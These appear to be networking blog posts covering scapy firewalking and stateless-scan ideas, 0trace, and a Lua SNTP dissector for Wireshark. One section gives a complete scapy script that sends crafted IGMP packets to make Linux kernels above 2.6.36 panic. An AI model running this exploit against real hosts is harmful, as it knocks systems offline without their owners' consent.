scapy - few simple scripts/examples

Scapy allows you to manipulate packets in almost any imaginable way (and some less imaginable), the good thing is that you have to use python (easy to build, flexible) and the bad thing is that you have to use python (slow, lots of dependencies). The official documentation can be found here.

First three scripts are frameworks for network scanning. There is really no point in going into details about all the possible ways you can scan the network. There are hundreds of books on the subject (great one is "Nmap Network Scanning" by Fyodor author of nmap) and probably thousands of web pages. I just want to show some frameworks in scapy that someone may find useful.

First one is a firewalking script it assumes that you have a host on the other side of the firewall. It spoofs the source IP of all the hosts in the LAN randomly and sends packets to specific ports (also in random order) of that host outside. This assumes few things, that the firewall rules are general, that there are no special conditions for any hosts in the LAN and there is nothing unique about the single host to which we are sending packets.

Second script is also a firewalking script but it sends packets with TTL (or hop limit for IPv6) +1 of the distance to firewall, so that the next router will send us ICMP time to live exceeded. This allows to test much broader range of things. Also if there is no ARP spoofing protection, you can test the rules for any device in your network by manipulating ARP entries.

Stateless scan - not very efficient in scapy, but it works. You have two processes one that sends the packets and one that receives them, they don't communicate with each other. The sending processes doesn't keep any information about the send packets it just fires and forgets. The question is how does the receiving process know which packets are responses? The sending process manipulates the protocol information to make sure that the response will be unique in some way. In case of the TCP the best place is the sequence number because it will be send back. In this example the sequence number is based on the hash of the destination host and port plus a random salt (idea similar to syn cookies). The salt is the only thing that is known to both the sending and receiving process. One thing about this method is that because there is no state, there is no way to know if we just lost a packet somewhere midway. Original idea, as far as I can tell, came from scanrand. Similar idea (stateless) is being used in onesixtyone. In most common cases nmap is better ;)

0trace - an old idea from lcamtuf (Michal Zalewski). It is a TCP traceroute but on an established TCP connection. Basically you just match the sequence numbers and inject your packets into an already existing connection and in the same time manipulate the TTL as a normal traceroute would do. The idea is that currently there are so many state-full firewalls that normal traceroute will not be able to show you much.


All of those scripts are frameworks/examples, they are not assumed to be finished tools, but they still should work ;).

quick scapy example for Linux kernel > 2.6.36 - IGMP kernel panic

A quick post, for fun :)

in scapy put:
from struct import pack
from socket import inet_aton

target = "127.0.0.1" # host target IP, change this !!!
a=pack("!BBH",0x11,0xff,0)+inet_aton("224.0.0.1")
b=pack("!BBH",0x11,0x0,0)+inet_aton("0.0.0.0")+pack("!BBBB",0,0,0,0)
a1=a[:2]+pack("!H",checksum(a))+a[4:]
b1=b[:2]+pack("!H",checksum(b))+b[4:]
send(IP(dst=target,proto=2)/a1)
send(IP(dst=target,proto=2)/b1)

and enjoy kernel panic on your target (if it is running linux kernel above 2.6.36, including 3.x and allows IGMP traffic).  Yes, I know that it could be more nicely written, but this works.

There exists already a IGMP and IGMPv3 implementation in scapy but it is in the contrib folder.
There was no point in using it for this small script.

Lua - custom dissector for Wireshark

An example implementation of Wireshark dissector written in Lua can be found here. This should be a nice template for people trying to decode/analyse protocols that are not recognized normally by Wireshark. The code should be easy enough to understand.

The full code is a bit larger but I needed a dissector for SNTP and it is quite small so I can copy it here:

-- ---------------------------- --
-- Simple Network Time Protocol --
-- ---------------------------- --
-- https://tools.ietf.org/html/rfc4330




sntp_proto = Proto("SNTP","Simple Network Time Protocol")

local sntp_proto_li = {
  [0] = "no warning",
  [1] = "last minute has 61 seconds",
  [2] = "last minute has 59 seconds",
  [3] = "alarm condition (clock not synchronized)",
}

local sntp_proto_mode = {
  [0] = "reserved",
  [1] = "symmetric active",
  [2] = "symmetric passive",
  [3] = "client",
  [4] = "server",
  [5] = "broadcast",
  [6] = "reserved for NTP control message",
  [7] = "reserved for private use",
}

local sf = sntp_proto.fields
sf.li = ProtoField.uint8("sntp.li","leap indicator",base.DEC,sntp_proto_li,0xC0)
sf.vn = ProtoField.uint8("sntp.vn","Version",base.DEC,nil,0x38)
sf.mode = ProtoField.uint8("sntp.mode","mode",base.DEC,sntp_proto_mode,0x07)
sf.stratum = ProtoField.uint8("sntp.stratum","stratum",base.DEC)
sf.poll = ProtoField.uint8("sntp.poll","poll",base.HEX)
sf.precis = ProtoField.int8("sntp.precision","precision",base.DEC)
sf.rootdelay = ProtoField.uint32("sntp.root_delay","root delay",base.DEC)
sf.rootdispe = ProtoField.uint32("sntp.root_dispersion","root dispersion",base.DEC)
sf.refid = ProtoField.uint32("sntp.ref_id","reference id",base.HEX)
sf.refts = ProtoField.uint64("sntp.ref_ts","reference timestamp",base.HEX)
sf.orgts = ProtoField.uint64("sntp.org_ts","originate timestamp",base.HEX)
sf.rxts = ProtoField.uint64("sntp.tx_ts","receive timestamp",base.HEX)
sf.txts = ProtoField.uint64("sntp.rx_ts","transmit timestamp",base.HEX)

function sntp_proto.dissector(buf,pinfo,tree)
  local subtree = tree:add(sntp_proto,buf(),"Simple Network Time Protocol")
  subtree:add(sf.li,buf(0,1))
  subtree:add(sf.vn,buf(0,1))
  subtree:add(sf.mode,buf(0,1))
  subtree:add(sf.stratum,buf(1,1))
  subtree:add(sf.poll,buf(2,1))
  subtree:add(sf.precis,buf(3,1))
  subtree:add(sf.rootdelay,buf(4,4))
  subtree:add(sf.rootdispe,buf(8,4))
  subtree:add(sf.refid,buf(12,4))
  subtree:add(sf.refts,buf(16,8))
  subtree:add(sf.orgts,buf(24,8))
  subtree:add(sf.rxts,buf(32,8))
  subtree:add(sf.txts,buf(40,8))
end


In my case I'm using this dissector as a "subdissector" for a different protocol. The main dissector is attached to a specific ether type value at the end of the file.

The biggest problem with writing a dissector, at least for the layer2 protocols IMHO, is to know where to "connect it" into the dissectors already present in Wireshark. A partial list of known places to which you can connect your dissector can be generated from the Wireshark source code, using this command:

grep -R register_dissector_table * | \
perl -pe 's/^.+register_dissector_table.+?\"(.+?)\".*/$1/' | \
sort -u

Or a much easier way (as pointed out in the comments, thanks :)) since sometime Wireshark has a special menu that shows the dissector tables. I have no idea how did I miss that :).